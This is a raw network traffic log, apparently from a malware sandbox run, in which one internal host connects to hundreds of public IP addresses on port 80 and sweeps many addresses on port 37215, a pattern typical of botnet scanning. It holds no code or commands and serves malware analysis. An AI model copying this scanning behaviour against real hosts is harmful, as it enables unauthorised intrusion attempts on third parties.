Jan 5, 2025 14:27:00.709465981 CET	80	52912	40.133.17.244	192.168.2.13
Jan 5, 2025 14:27:00.709547043 CET	52912	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:27:00.709600925 CET	80	47004	44.162.94.163	192.168.2.13
Jan 5, 2025 14:27:00.709645987 CET	47004	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:27:00.709778070 CET	80	45266	169.194.176.114	192.168.2.13
Jan 5, 2025 14:27:00.709819078 CET	45266	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:27:00.709881067 CET	80	60006	14.81.236.190	192.168.2.13
Jan 5, 2025 14:27:00.709909916 CET	60006	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:27:00.710017920 CET	80	55566	54.151.72.99	192.168.2.13
Jan 5, 2025 14:27:00.710053921 CET	55566	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:27:00.710207939 CET	80	38922	198.38.240.51	192.168.2.13
Jan 5, 2025 14:27:00.710238934 CET	38922	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:27:00.710387945 CET	80	41922	64.50.196.133	192.168.2.13
Jan 5, 2025 14:27:00.710448027 CET	41922	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:27:00.710566998 CET	80	57678	46.224.56.104	192.168.2.13
Jan 5, 2025 14:27:00.710623026 CET	57678	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:27:00.710697889 CET	80	52008	32.164.191.231	192.168.2.13
Jan 5, 2025 14:27:00.710736036 CET	52008	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:27:00.710867882 CET	80	33286	97.124.195.81	192.168.2.13
Jan 5, 2025 14:27:00.710905075 CET	33286	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:27:00.711033106 CET	80	35328	121.155.195.73	192.168.2.13
Jan 5, 2025 14:27:00.711067915 CET	35328	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:27:00.711152077 CET	80	32772	187.178.160.113	192.168.2.13
Jan 5, 2025 14:27:00.711186886 CET	32772	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:27:00.711353064 CET	80	39570	128.250.180.34	192.168.2.13
Jan 5, 2025 14:27:00.711389065 CET	39570	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:27:00.711464882 CET	80	55178	132.108.249.151	192.168.2.13
Jan 5, 2025 14:27:00.711502075 CET	55178	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:27:00.711766958 CET	80	60132	49.185.194.134	192.168.2.13
Jan 5, 2025 14:27:00.711807966 CET	60132	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:27:00.711864948 CET	80	40794	184.39.176.49	192.168.2.13
Jan 5, 2025 14:27:00.711899996 CET	40794	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:27:00.719631910 CET	56132	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:27:00.719649076 CET	52402	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:27:00.719655037 CET	39490	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:27:00.719659090 CET	35846	80	192.168.2.13	42.177.251.132
Jan 5, 2025 14:27:00.724399090 CET	80	56132	152.183.183.228	192.168.2.13
Jan 5, 2025 14:27:00.724410057 CET	80	52402	54.76.185.62	192.168.2.13
Jan 5, 2025 14:27:00.724446058 CET	56132	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:27:00.724447012 CET	52402	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:27:00.724498034 CET	59570	80	192.168.2.13	194.186.235.38
Jan 5, 2025 14:27:00.724515915 CET	45458	80	192.168.2.13	37.84.148.81
Jan 5, 2025 14:27:00.724644899 CET	45602	80	192.168.2.13	193.199.208.210
Jan 5, 2025 14:27:00.724646091 CET	36014	80	192.168.2.13	69.227.66.195
Jan 5, 2025 14:27:00.724663019 CET	53216	80	192.168.2.13	216.188.82.130
Jan 5, 2025 14:27:00.724675894 CET	50334	80	192.168.2.13	1.18.238.50
Jan 5, 2025 14:27:00.724677086 CET	43304	80	192.168.2.13	193.61.207.227
Jan 5, 2025 14:27:00.724688053 CET	37898	80	192.168.2.13	212.35.206.200
Jan 5, 2025 14:27:00.724694967 CET	60218	80	192.168.2.13	190.126.81.87
Jan 5, 2025 14:27:00.724714041 CET	52324	80	192.168.2.13	150.17.21.226
Jan 5, 2025 14:27:00.724714041 CET	43392	80	192.168.2.13	63.178.187.167
Jan 5, 2025 14:27:00.724740028 CET	44628	80	192.168.2.13	196.167.253.176
Jan 5, 2025 14:27:00.724744081 CET	59848	80	192.168.2.13	171.18.228.78
Jan 5, 2025 14:27:00.724747896 CET	56820	80	192.168.2.13	207.158.10.136
Jan 5, 2025 14:27:00.724756956 CET	53630	80	192.168.2.13	99.12.94.233
Jan 5, 2025 14:27:00.724771023 CET	45602	80	192.168.2.13	120.81.131.31
Jan 5, 2025 14:27:00.724778891 CET	33118	80	192.168.2.13	216.76.229.53
Jan 5, 2025 14:27:00.724793911 CET	58088	80	192.168.2.13	83.21.52.199
Jan 5, 2025 14:27:00.724800110 CET	39874	80	192.168.2.13	31.154.66.248
Jan 5, 2025 14:27:00.724807978 CET	56204	80	192.168.2.13	117.244.162.92
Jan 5, 2025 14:27:00.724808931 CET	55198	80	192.168.2.13	108.232.228.222
Jan 5, 2025 14:27:00.724824905 CET	51066	80	192.168.2.13	152.114.107.33
Jan 5, 2025 14:27:00.724826097 CET	42482	80	192.168.2.13	120.86.82.233
Jan 5, 2025 14:27:00.724852085 CET	57410	80	192.168.2.13	208.136.50.240
Jan 5, 2025 14:27:00.724863052 CET	55344	80	192.168.2.13	9.101.51.160
Jan 5, 2025 14:27:00.724863052 CET	33600	80	192.168.2.13	140.108.117.109
Jan 5, 2025 14:27:00.724865913 CET	35686	80	192.168.2.13	221.16.87.138
Jan 5, 2025 14:27:00.724970102 CET	50838	80	192.168.2.13	80.89.19.132
Jan 5, 2025 14:27:00.724989891 CET	52402	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:27:00.724989891 CET	52402	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:27:00.724998951 CET	56132	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:27:00.724998951 CET	56132	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:27:00.724999905 CET	52492	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:27:00.725037098 CET	56222	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:27:00.725671053 CET	56446	37215	192.168.2.13	41.151.210.49
Jan 5, 2025 14:27:00.725683928 CET	56446	37215	192.168.2.13	197.94.70.251
Jan 5, 2025 14:27:00.725684881 CET	56446	37215	192.168.2.13	156.183.143.33
Jan 5, 2025 14:27:00.725684881 CET	56446	37215	192.168.2.13	41.152.8.207
Jan 5, 2025 14:27:00.725686073 CET	56446	37215	192.168.2.13	197.11.254.78
Jan 5, 2025 14:27:00.725686073 CET	56446	37215	192.168.2.13	197.110.165.198
Jan 5, 2025 14:27:00.725686073 CET	56446	37215	192.168.2.13	156.156.167.41
Jan 5, 2025 14:27:00.725688934 CET	56446	37215	192.168.2.13	41.57.214.220
Jan 5, 2025 14:27:00.725688934 CET	56446	37215	192.168.2.13	197.228.190.178
Jan 5, 2025 14:27:00.725693941 CET	56446	37215	192.168.2.13	197.97.22.109
Jan 5, 2025 14:27:00.725694895 CET	56446	37215	192.168.2.13	197.113.50.248
Jan 5, 2025 14:27:00.725696087 CET	56446	37215	192.168.2.13	197.176.143.0
Jan 5, 2025 14:27:00.725703955 CET	56446	37215	192.168.2.13	41.255.129.111
Jan 5, 2025 14:27:00.725704908 CET	56446	37215	192.168.2.13	156.33.229.231
Jan 5, 2025 14:27:00.725711107 CET	56446	37215	192.168.2.13	41.161.82.219
Jan 5, 2025 14:27:00.725711107 CET	56446	37215	192.168.2.13	197.131.109.89
Jan 5, 2025 14:27:00.725711107 CET	56446	37215	192.168.2.13	156.210.122.22
Jan 5, 2025 14:27:00.725711107 CET	56446	37215	192.168.2.13	197.253.207.203
Jan 5, 2025 14:27:00.725713015 CET	56446	37215	192.168.2.13	197.44.224.169
Jan 5, 2025 14:27:00.725713968 CET	56446	37215	192.168.2.13	197.72.235.183
Jan 5, 2025 14:27:00.725713968 CET	56446	37215	192.168.2.13	156.148.143.38
Jan 5, 2025 14:27:00.725714922 CET	56446	37215	192.168.2.13	197.174.67.83
Jan 5, 2025 14:27:00.725718975 CET	56446	37215	192.168.2.13	41.127.98.196
Jan 5, 2025 14:27:00.725718975 CET	56446	37215	192.168.2.13	156.233.101.95
Jan 5, 2025 14:27:00.725720882 CET	56446	37215	192.168.2.13	41.227.226.185
Jan 5, 2025 14:27:00.725739956 CET	56446	37215	192.168.2.13	156.76.64.27
Jan 5, 2025 14:27:00.725740910 CET	56446	37215	192.168.2.13	41.77.155.123
Jan 5, 2025 14:27:00.725739956 CET	56446	37215	192.168.2.13	41.201.236.168
Jan 5, 2025 14:27:00.725744009 CET	56446	37215	192.168.2.13	156.73.194.105
Jan 5, 2025 14:27:00.725744009 CET	56446	37215	192.168.2.13	197.97.250.176
Jan 5, 2025 14:27:00.725744009 CET	56446	37215	192.168.2.13	156.206.119.109
Jan 5, 2025 14:27:00.725744009 CET	56446	37215	192.168.2.13	156.38.13.152
Jan 5, 2025 14:27:00.725749969 CET	56446	37215	192.168.2.13	156.131.209.227
Jan 5, 2025 14:27:00.725754976 CET	56446	37215	192.168.2.13	197.107.37.230
Jan 5, 2025 14:27:00.725756884 CET	56446	37215	192.168.2.13	41.247.88.30
Jan 5, 2025 14:27:00.725756884 CET	56446	37215	192.168.2.13	156.76.250.245
Jan 5, 2025 14:27:00.725760937 CET	56446	37215	192.168.2.13	197.87.82.48
Jan 5, 2025 14:27:00.725763083 CET	56446	37215	192.168.2.13	156.49.163.52
Jan 5, 2025 14:27:00.725764036 CET	56446	37215	192.168.2.13	41.89.162.112
Jan 5, 2025 14:27:00.725764990 CET	56446	37215	192.168.2.13	41.38.116.42
Jan 5, 2025 14:27:00.725764036 CET	56446	37215	192.168.2.13	41.10.250.139
Jan 5, 2025 14:27:00.725776911 CET	56446	37215	192.168.2.13	156.16.119.125
Jan 5, 2025 14:27:00.725790977 CET	56446	37215	192.168.2.13	156.10.155.125
Jan 5, 2025 14:27:00.725791931 CET	56446	37215	192.168.2.13	41.207.187.165
Jan 5, 2025 14:27:00.725794077 CET	56446	37215	192.168.2.13	156.255.195.162
Jan 5, 2025 14:27:00.725795984 CET	56446	37215	192.168.2.13	41.6.236.184
Jan 5, 2025 14:27:00.725802898 CET	56446	37215	192.168.2.13	156.69.39.184
Jan 5, 2025 14:27:00.725804090 CET	56446	37215	192.168.2.13	197.15.170.47
Jan 5, 2025 14:27:00.725807905 CET	56446	37215	192.168.2.13	197.93.96.254
Jan 5, 2025 14:27:00.725810051 CET	56446	37215	192.168.2.13	41.221.146.70
Jan 5, 2025 14:27:00.725811958 CET	56446	37215	192.168.2.13	156.106.148.147
Jan 5, 2025 14:27:00.725811958 CET	56446	37215	192.168.2.13	41.73.2.106
Jan 5, 2025 14:27:00.725814104 CET	56446	37215	192.168.2.13	156.57.81.177
Jan 5, 2025 14:27:00.725817919 CET	56446	37215	192.168.2.13	156.55.74.190
Jan 5, 2025 14:27:00.725824118 CET	56446	37215	192.168.2.13	197.193.209.122
Jan 5, 2025 14:27:00.725825071 CET	56446	37215	192.168.2.13	197.29.147.232
Jan 5, 2025 14:27:00.725825071 CET	56446	37215	192.168.2.13	41.94.219.96
Jan 5, 2025 14:27:00.725827932 CET	56446	37215	192.168.2.13	41.249.99.172
Jan 5, 2025 14:27:00.725828886 CET	56446	37215	192.168.2.13	41.173.180.57
Jan 5, 2025 14:27:00.725831985 CET	56446	37215	192.168.2.13	197.115.59.84
Jan 5, 2025 14:27:00.725831985 CET	56446	37215	192.168.2.13	197.241.168.30
Jan 5, 2025 14:27:00.725838900 CET	56446	37215	192.168.2.13	41.100.166.46
Jan 5, 2025 14:27:00.725841999 CET	56446	37215	192.168.2.13	41.58.135.170
Jan 5, 2025 14:27:00.725845098 CET	56446	37215	192.168.2.13	197.39.75.153
Jan 5, 2025 14:27:00.725850105 CET	56446	37215	192.168.2.13	41.67.160.52
Jan 5, 2025 14:27:00.725852013 CET	56446	37215	192.168.2.13	197.70.194.91
Jan 5, 2025 14:27:00.725857973 CET	56446	37215	192.168.2.13	41.247.22.108
Jan 5, 2025 14:27:00.725860119 CET	56446	37215	192.168.2.13	156.158.199.215
Jan 5, 2025 14:27:00.725861073 CET	56446	37215	192.168.2.13	41.45.236.213
Jan 5, 2025 14:27:00.725861073 CET	56446	37215	192.168.2.13	197.251.136.158
Jan 5, 2025 14:27:00.725884914 CET	56446	37215	192.168.2.13	197.239.35.135
Jan 5, 2025 14:27:00.725888014 CET	56446	37215	192.168.2.13	156.43.223.125
Jan 5, 2025 14:27:00.725895882 CET	56446	37215	192.168.2.13	197.220.114.238
Jan 5, 2025 14:27:00.725897074 CET	56446	37215	192.168.2.13	197.46.30.243
Jan 5, 2025 14:27:00.725898027 CET	56446	37215	192.168.2.13	197.217.56.48
Jan 5, 2025 14:27:00.725899935 CET	56446	37215	192.168.2.13	156.39.243.240
Jan 5, 2025 14:27:00.725899935 CET	56446	37215	192.168.2.13	156.177.40.247
Jan 5, 2025 14:27:00.725899935 CET	56446	37215	192.168.2.13	41.187.210.50
Jan 5, 2025 14:27:00.725902081 CET	56446	37215	192.168.2.13	156.190.231.126
Jan 5, 2025 14:27:00.725913048 CET	56446	37215	192.168.2.13	156.208.118.210
Jan 5, 2025 14:27:00.725914955 CET	56446	37215	192.168.2.13	41.232.48.125
Jan 5, 2025 14:27:00.725914955 CET	56446	37215	192.168.2.13	156.120.78.235
Jan 5, 2025 14:27:00.725914955 CET	56446	37215	192.168.2.13	197.28.242.85
Jan 5, 2025 14:27:00.725922108 CET	56446	37215	192.168.2.13	156.142.102.110
Jan 5, 2025 14:27:00.725929976 CET	56446	37215	192.168.2.13	41.143.168.221
Jan 5, 2025 14:27:00.725933075 CET	56446	37215	192.168.2.13	41.30.19.83
Jan 5, 2025 14:27:00.725938082 CET	56446	37215	192.168.2.13	197.185.84.101
Jan 5, 2025 14:27:00.725938082 CET	56446	37215	192.168.2.13	41.191.202.119
Jan 5, 2025 14:27:00.725940943 CET	56446	37215	192.168.2.13	156.132.229.170
Jan 5, 2025 14:27:00.725945950 CET	56446	37215	192.168.2.13	197.226.200.38
Jan 5, 2025 14:27:00.725945950 CET	56446	37215	192.168.2.13	156.124.186.226
Jan 5, 2025 14:27:00.725948095 CET	56446	37215	192.168.2.13	41.163.65.169
Jan 5, 2025 14:27:00.725945950 CET	56446	37215	192.168.2.13	156.144.220.246
Jan 5, 2025 14:27:00.725948095 CET	56446	37215	192.168.2.13	156.107.175.35
Jan 5, 2025 14:27:00.725949049 CET	56446	37215	192.168.2.13	197.189.234.89
Jan 5, 2025 14:27:00.725948095 CET	56446	37215	192.168.2.13	41.126.181.240
Jan 5, 2025 14:27:00.725979090 CET	56446	37215	192.168.2.13	156.229.246.213
Jan 5, 2025 14:27:00.725982904 CET	56446	37215	192.168.2.13	41.101.33.139
Jan 5, 2025 14:27:00.725982904 CET	56446	37215	192.168.2.13	197.185.220.126
Jan 5, 2025 14:27:00.725986958 CET	56446	37215	192.168.2.13	197.113.139.110
Jan 5, 2025 14:27:00.725986958 CET	56446	37215	192.168.2.13	197.229.169.11
Jan 5, 2025 14:27:00.725986958 CET	56446	37215	192.168.2.13	41.224.12.29
Jan 5, 2025 14:27:00.725990057 CET	56446	37215	192.168.2.13	41.216.238.171
Jan 5, 2025 14:27:00.725990057 CET	56446	37215	192.168.2.13	197.96.24.219
Jan 5, 2025 14:27:00.725992918 CET	56446	37215	192.168.2.13	41.48.152.190
Jan 5, 2025 14:27:00.725996971 CET	56446	37215	192.168.2.13	197.88.254.245
Jan 5, 2025 14:27:00.725996971 CET	56446	37215	192.168.2.13	156.249.112.90
Jan 5, 2025 14:27:00.726008892 CET	56446	37215	192.168.2.13	41.69.90.220
Jan 5, 2025 14:27:00.726010084 CET	56446	37215	192.168.2.13	41.68.193.227
Jan 5, 2025 14:27:00.726011038 CET	56446	37215	192.168.2.13	197.205.2.109
Jan 5, 2025 14:27:00.726015091 CET	56446	37215	192.168.2.13	156.234.1.4
Jan 5, 2025 14:27:00.726015091 CET	56446	37215	192.168.2.13	156.126.134.99
Jan 5, 2025 14:27:00.726018906 CET	56446	37215	192.168.2.13	156.187.12.149
Jan 5, 2025 14:27:00.726018906 CET	56446	37215	192.168.2.13	41.93.136.146
Jan 5, 2025 14:27:00.726018906 CET	56446	37215	192.168.2.13	156.76.201.120
Jan 5, 2025 14:27:00.726022005 CET	56446	37215	192.168.2.13	41.49.70.234
Jan 5, 2025 14:27:00.726035118 CET	56446	37215	192.168.2.13	41.43.192.183
Jan 5, 2025 14:27:00.726035118 CET	56446	37215	192.168.2.13	156.132.143.225
Jan 5, 2025 14:27:00.726037979 CET	56446	37215	192.168.2.13	156.94.44.237
Jan 5, 2025 14:27:00.726039886 CET	56446	37215	192.168.2.13	197.46.145.112
Jan 5, 2025 14:27:00.726041079 CET	56446	37215	192.168.2.13	197.183.211.229
Jan 5, 2025 14:27:00.726047993 CET	56446	37215	192.168.2.13	41.138.243.192
Jan 5, 2025 14:27:00.726047993 CET	56446	37215	192.168.2.13	156.42.131.107
Jan 5, 2025 14:27:00.726048946 CET	56446	37215	192.168.2.13	197.56.18.129
Jan 5, 2025 14:27:00.726049900 CET	56446	37215	192.168.2.13	197.146.217.218
Jan 5, 2025 14:27:00.726049900 CET	56446	37215	192.168.2.13	156.158.113.230
Jan 5, 2025 14:27:00.726057053 CET	56446	37215	192.168.2.13	197.43.191.143
Jan 5, 2025 14:27:00.726063967 CET	56446	37215	192.168.2.13	156.240.55.19
Jan 5, 2025 14:27:00.726066113 CET	56446	37215	192.168.2.13	41.19.131.218
Jan 5, 2025 14:27:00.726078033 CET	56446	37215	192.168.2.13	156.143.13.80
Jan 5, 2025 14:27:00.726078987 CET	56446	37215	192.168.2.13	156.243.111.252
Jan 5, 2025 14:27:00.726080894 CET	56446	37215	192.168.2.13	156.211.118.218
Jan 5, 2025 14:27:00.726080894 CET	56446	37215	192.168.2.13	197.203.166.93
Jan 5, 2025 14:27:00.726084948 CET	56446	37215	192.168.2.13	41.163.106.221
Jan 5, 2025 14:27:00.726084948 CET	56446	37215	192.168.2.13	41.228.224.168
Jan 5, 2025 14:27:00.726085901 CET	56446	37215	192.168.2.13	156.144.200.151
Jan 5, 2025 14:27:00.726085901 CET	56446	37215	192.168.2.13	197.31.124.81
Jan 5, 2025 14:27:00.726089001 CET	56446	37215	192.168.2.13	41.139.163.21
Jan 5, 2025 14:27:00.726089001 CET	56446	37215	192.168.2.13	197.188.173.60
Jan 5, 2025 14:27:00.726094007 CET	56446	37215	192.168.2.13	197.73.139.183
Jan 5, 2025 14:27:00.726094007 CET	56446	37215	192.168.2.13	197.30.105.187
Jan 5, 2025 14:27:00.726098061 CET	56446	37215	192.168.2.13	156.177.177.92
Jan 5, 2025 14:27:00.726098061 CET	56446	37215	192.168.2.13	41.72.104.178
Jan 5, 2025 14:27:00.726098061 CET	56446	37215	192.168.2.13	197.169.137.173
Jan 5, 2025 14:27:00.726098061 CET	56446	37215	192.168.2.13	197.1.184.254
Jan 5, 2025 14:27:00.726104021 CET	56446	37215	192.168.2.13	156.15.212.172
Jan 5, 2025 14:27:00.726109982 CET	56446	37215	192.168.2.13	197.197.249.71
Jan 5, 2025 14:27:00.726119041 CET	56446	37215	192.168.2.13	156.144.21.165
Jan 5, 2025 14:27:00.726121902 CET	56446	37215	192.168.2.13	156.148.111.77
Jan 5, 2025 14:27:00.726119041 CET	56446	37215	192.168.2.13	197.171.219.146
Jan 5, 2025 14:27:00.726125002 CET	56446	37215	192.168.2.13	197.71.60.105
Jan 5, 2025 14:27:00.726125956 CET	56446	37215	192.168.2.13	197.71.207.20
Jan 5, 2025 14:27:00.726125956 CET	56446	37215	192.168.2.13	41.109.107.60
Jan 5, 2025 14:27:00.726128101 CET	56446	37215	192.168.2.13	41.134.176.206
Jan 5, 2025 14:27:00.726128101 CET	56446	37215	192.168.2.13	156.89.13.215
Jan 5, 2025 14:27:00.726140022 CET	56446	37215	192.168.2.13	156.111.60.140
Jan 5, 2025 14:27:00.726144075 CET	56446	37215	192.168.2.13	197.185.116.12
Jan 5, 2025 14:27:00.726144075 CET	56446	37215	192.168.2.13	156.2.248.171
Jan 5, 2025 14:27:00.726145029 CET	56446	37215	192.168.2.13	41.24.28.13
Jan 5, 2025 14:27:00.726144075 CET	56446	37215	192.168.2.13	41.41.22.174
Jan 5, 2025 14:27:00.726145029 CET	56446	37215	192.168.2.13	156.38.202.245
Jan 5, 2025 14:27:00.726146936 CET	56446	37215	192.168.2.13	156.185.56.47
Jan 5, 2025 14:27:00.726154089 CET	56446	37215	192.168.2.13	197.107.108.90
Jan 5, 2025 14:27:00.726164103 CET	56446	37215	192.168.2.13	41.69.133.8
Jan 5, 2025 14:27:00.726165056 CET	56446	37215	192.168.2.13	41.61.231.203
Jan 5, 2025 14:27:00.726165056 CET	56446	37215	192.168.2.13	197.186.244.145
Jan 5, 2025 14:27:00.726172924 CET	56446	37215	192.168.2.13	156.151.192.142
Jan 5, 2025 14:27:00.726180077 CET	56446	37215	192.168.2.13	197.178.59.226
Jan 5, 2025 14:27:00.726181984 CET	56446	37215	192.168.2.13	156.42.13.216
Jan 5, 2025 14:27:00.726181984 CET	56446	37215	192.168.2.13	156.76.57.91
Jan 5, 2025 14:27:00.726190090 CET	56446	37215	192.168.2.13	41.193.29.191
Jan 5, 2025 14:27:00.726191998 CET	56446	37215	192.168.2.13	156.230.238.186
Jan 5, 2025 14:27:00.726192951 CET	56446	37215	192.168.2.13	41.87.207.183
Jan 5, 2025 14:27:00.726200104 CET	56446	37215	192.168.2.13	197.34.50.61
Jan 5, 2025 14:27:00.726218939 CET	56446	37215	192.168.2.13	41.170.145.46
Jan 5, 2025 14:27:00.726218939 CET	56446	37215	192.168.2.13	156.147.24.243
Jan 5, 2025 14:27:00.726218939 CET	56446	37215	192.168.2.13	197.108.95.240
Jan 5, 2025 14:27:00.726218939 CET	56446	37215	192.168.2.13	156.23.254.27
Jan 5, 2025 14:27:00.726221085 CET	56446	37215	192.168.2.13	197.44.97.166
Jan 5, 2025 14:27:00.726221085 CET	56446	37215	192.168.2.13	41.26.198.175
Jan 5, 2025 14:27:00.726222992 CET	56446	37215	192.168.2.13	156.133.135.237
Jan 5, 2025 14:27:00.726223946 CET	56446	37215	192.168.2.13	156.222.235.108
Jan 5, 2025 14:27:00.726223946 CET	56446	37215	192.168.2.13	41.139.143.175
Jan 5, 2025 14:27:00.726223946 CET	56446	37215	192.168.2.13	41.114.85.163
Jan 5, 2025 14:27:00.726229906 CET	56446	37215	192.168.2.13	156.194.176.225
Jan 5, 2025 14:27:00.726229906 CET	56446	37215	192.168.2.13	41.71.45.61
Jan 5, 2025 14:27:00.726232052 CET	56446	37215	192.168.2.13	197.42.68.223
Jan 5, 2025 14:27:00.726233006 CET	56446	37215	192.168.2.13	197.38.173.225
Jan 5, 2025 14:27:00.726248026 CET	56446	37215	192.168.2.13	156.40.145.42
Jan 5, 2025 14:27:00.726248026 CET	56446	37215	192.168.2.13	41.89.26.64
Jan 5, 2025 14:27:00.726248026 CET	56446	37215	192.168.2.13	41.209.83.123
Jan 5, 2025 14:27:00.726253986 CET	56446	37215	192.168.2.13	41.150.88.120
Jan 5, 2025 14:27:00.726255894 CET	56446	37215	192.168.2.13	197.232.233.236
Jan 5, 2025 14:27:00.726255894 CET	56446	37215	192.168.2.13	197.237.144.250
Jan 5, 2025 14:27:00.726257086 CET	56446	37215	192.168.2.13	41.71.11.119
Jan 5, 2025 14:27:00.726258993 CET	56446	37215	192.168.2.13	197.5.125.206
Jan 5, 2025 14:27:00.726259947 CET	56446	37215	192.168.2.13	197.97.191.242
Jan 5, 2025 14:27:00.726264000 CET	56446	37215	192.168.2.13	197.157.234.116
Jan 5, 2025 14:27:00.726264000 CET	56446	37215	192.168.2.13	197.190.38.160
Jan 5, 2025 14:27:00.726268053 CET	56446	37215	192.168.2.13	41.160.8.53
Jan 5, 2025 14:27:00.726290941 CET	56446	37215	192.168.2.13	197.244.19.244
Jan 5, 2025 14:27:00.726294041 CET	56446	37215	192.168.2.13	156.164.155.81
Jan 5, 2025 14:27:00.726294041 CET	56446	37215	192.168.2.13	197.158.163.139
Jan 5, 2025 14:27:00.726295948 CET	56446	37215	192.168.2.13	156.237.115.235
Jan 5, 2025 14:27:00.726295948 CET	56446	37215	192.168.2.13	197.168.122.74
Jan 5, 2025 14:27:00.726313114 CET	56446	37215	192.168.2.13	197.156.97.93
Jan 5, 2025 14:27:00.726317883 CET	56446	37215	192.168.2.13	156.215.216.246
Jan 5, 2025 14:27:00.726320028 CET	56446	37215	192.168.2.13	197.39.3.217
Jan 5, 2025 14:27:00.726320982 CET	56446	37215	192.168.2.13	41.10.56.254
Jan 5, 2025 14:27:00.726320982 CET	56446	37215	192.168.2.13	41.213.25.116
Jan 5, 2025 14:27:00.726326942 CET	56446	37215	192.168.2.13	156.34.134.212
Jan 5, 2025 14:27:00.726329088 CET	56446	37215	192.168.2.13	41.165.56.215
Jan 5, 2025 14:27:00.726330996 CET	56446	37215	192.168.2.13	197.184.165.202
Jan 5, 2025 14:27:00.726340055 CET	56446	37215	192.168.2.13	197.36.158.171
Jan 5, 2025 14:27:00.726341009 CET	56446	37215	192.168.2.13	41.226.77.95
Jan 5, 2025 14:27:00.726340055 CET	56446	37215	192.168.2.13	156.20.188.181
Jan 5, 2025 14:27:00.726341009 CET	56446	37215	192.168.2.13	197.124.209.17
Jan 5, 2025 14:27:00.726349115 CET	56446	37215	192.168.2.13	156.187.153.133
Jan 5, 2025 14:27:00.726349115 CET	56446	37215	192.168.2.13	156.140.98.193
Jan 5, 2025 14:27:00.726351023 CET	56446	37215	192.168.2.13	41.84.100.166
Jan 5, 2025 14:27:00.726351023 CET	56446	37215	192.168.2.13	197.183.209.185
Jan 5, 2025 14:27:00.726352930 CET	56446	37215	192.168.2.13	41.223.210.132
Jan 5, 2025 14:27:00.726358891 CET	56446	37215	192.168.2.13	197.103.13.177
Jan 5, 2025 14:27:00.726358891 CET	56446	37215	192.168.2.13	197.12.95.221
Jan 5, 2025 14:27:00.726358891 CET	56446	37215	192.168.2.13	41.156.101.127
Jan 5, 2025 14:27:00.726361036 CET	56446	37215	192.168.2.13	197.162.44.28
Jan 5, 2025 14:27:00.726361036 CET	56446	37215	192.168.2.13	197.251.143.233
Jan 5, 2025 14:27:00.726361036 CET	56446	37215	192.168.2.13	197.3.92.5
Jan 5, 2025 14:27:00.726361036 CET	56446	37215	192.168.2.13	156.54.52.85
Jan 5, 2025 14:27:00.726367950 CET	56446	37215	192.168.2.13	156.185.54.199
Jan 5, 2025 14:27:00.726367950 CET	56446	37215	192.168.2.13	156.106.6.61
Jan 5, 2025 14:27:00.726372004 CET	56446	37215	192.168.2.13	197.246.1.91
Jan 5, 2025 14:27:00.726375103 CET	56446	37215	192.168.2.13	41.191.158.111
Jan 5, 2025 14:27:00.726377010 CET	56446	37215	192.168.2.13	197.230.33.96
Jan 5, 2025 14:27:00.726404905 CET	56446	37215	192.168.2.13	41.63.0.186
Jan 5, 2025 14:27:00.726407051 CET	56446	37215	192.168.2.13	41.246.153.13
Jan 5, 2025 14:27:00.726408958 CET	56446	37215	192.168.2.13	197.231.200.120
Jan 5, 2025 14:27:00.726417065 CET	56446	37215	192.168.2.13	41.11.142.170
Jan 5, 2025 14:27:00.726419926 CET	56446	37215	192.168.2.13	197.21.18.20
Jan 5, 2025 14:27:00.726419926 CET	56446	37215	192.168.2.13	197.227.58.158
Jan 5, 2025 14:27:00.726428986 CET	56446	37215	192.168.2.13	156.124.254.79
Jan 5, 2025 14:27:00.726432085 CET	56446	37215	192.168.2.13	197.5.149.148
Jan 5, 2025 14:27:00.726440907 CET	56446	37215	192.168.2.13	197.70.228.177
Jan 5, 2025 14:27:00.726440907 CET	56446	37215	192.168.2.13	156.26.134.35
Jan 5, 2025 14:27:00.726440907 CET	56446	37215	192.168.2.13	156.157.176.166
Jan 5, 2025 14:27:00.726443052 CET	56446	37215	192.168.2.13	41.60.142.140
Jan 5, 2025 14:27:00.726450920 CET	56446	37215	192.168.2.13	41.147.227.115
Jan 5, 2025 14:27:00.726454973 CET	56446	37215	192.168.2.13	41.41.195.29
Jan 5, 2025 14:27:00.726454973 CET	56446	37215	192.168.2.13	156.26.156.174
Jan 5, 2025 14:27:00.726454973 CET	56446	37215	192.168.2.13	197.110.161.240
Jan 5, 2025 14:27:00.726459026 CET	56446	37215	192.168.2.13	41.8.227.155
Jan 5, 2025 14:27:00.726459026 CET	56446	37215	192.168.2.13	156.49.100.112
Jan 5, 2025 14:27:00.726461887 CET	56446	37215	192.168.2.13	197.18.223.15
Jan 5, 2025 14:27:00.726461887 CET	56446	37215	192.168.2.13	41.245.107.149
Jan 5, 2025 14:27:00.726461887 CET	56446	37215	192.168.2.13	156.57.25.39
Jan 5, 2025 14:27:00.726488113 CET	56446	37215	192.168.2.13	197.248.110.23
Jan 5, 2025 14:27:00.726488113 CET	56446	37215	192.168.2.13	41.56.118.154
Jan 5, 2025 14:27:00.726495028 CET	56446	37215	192.168.2.13	41.218.67.161
Jan 5, 2025 14:27:00.726495028 CET	56446	37215	192.168.2.13	197.166.142.45
Jan 5, 2025 14:27:00.726499081 CET	56446	37215	192.168.2.13	156.237.145.65
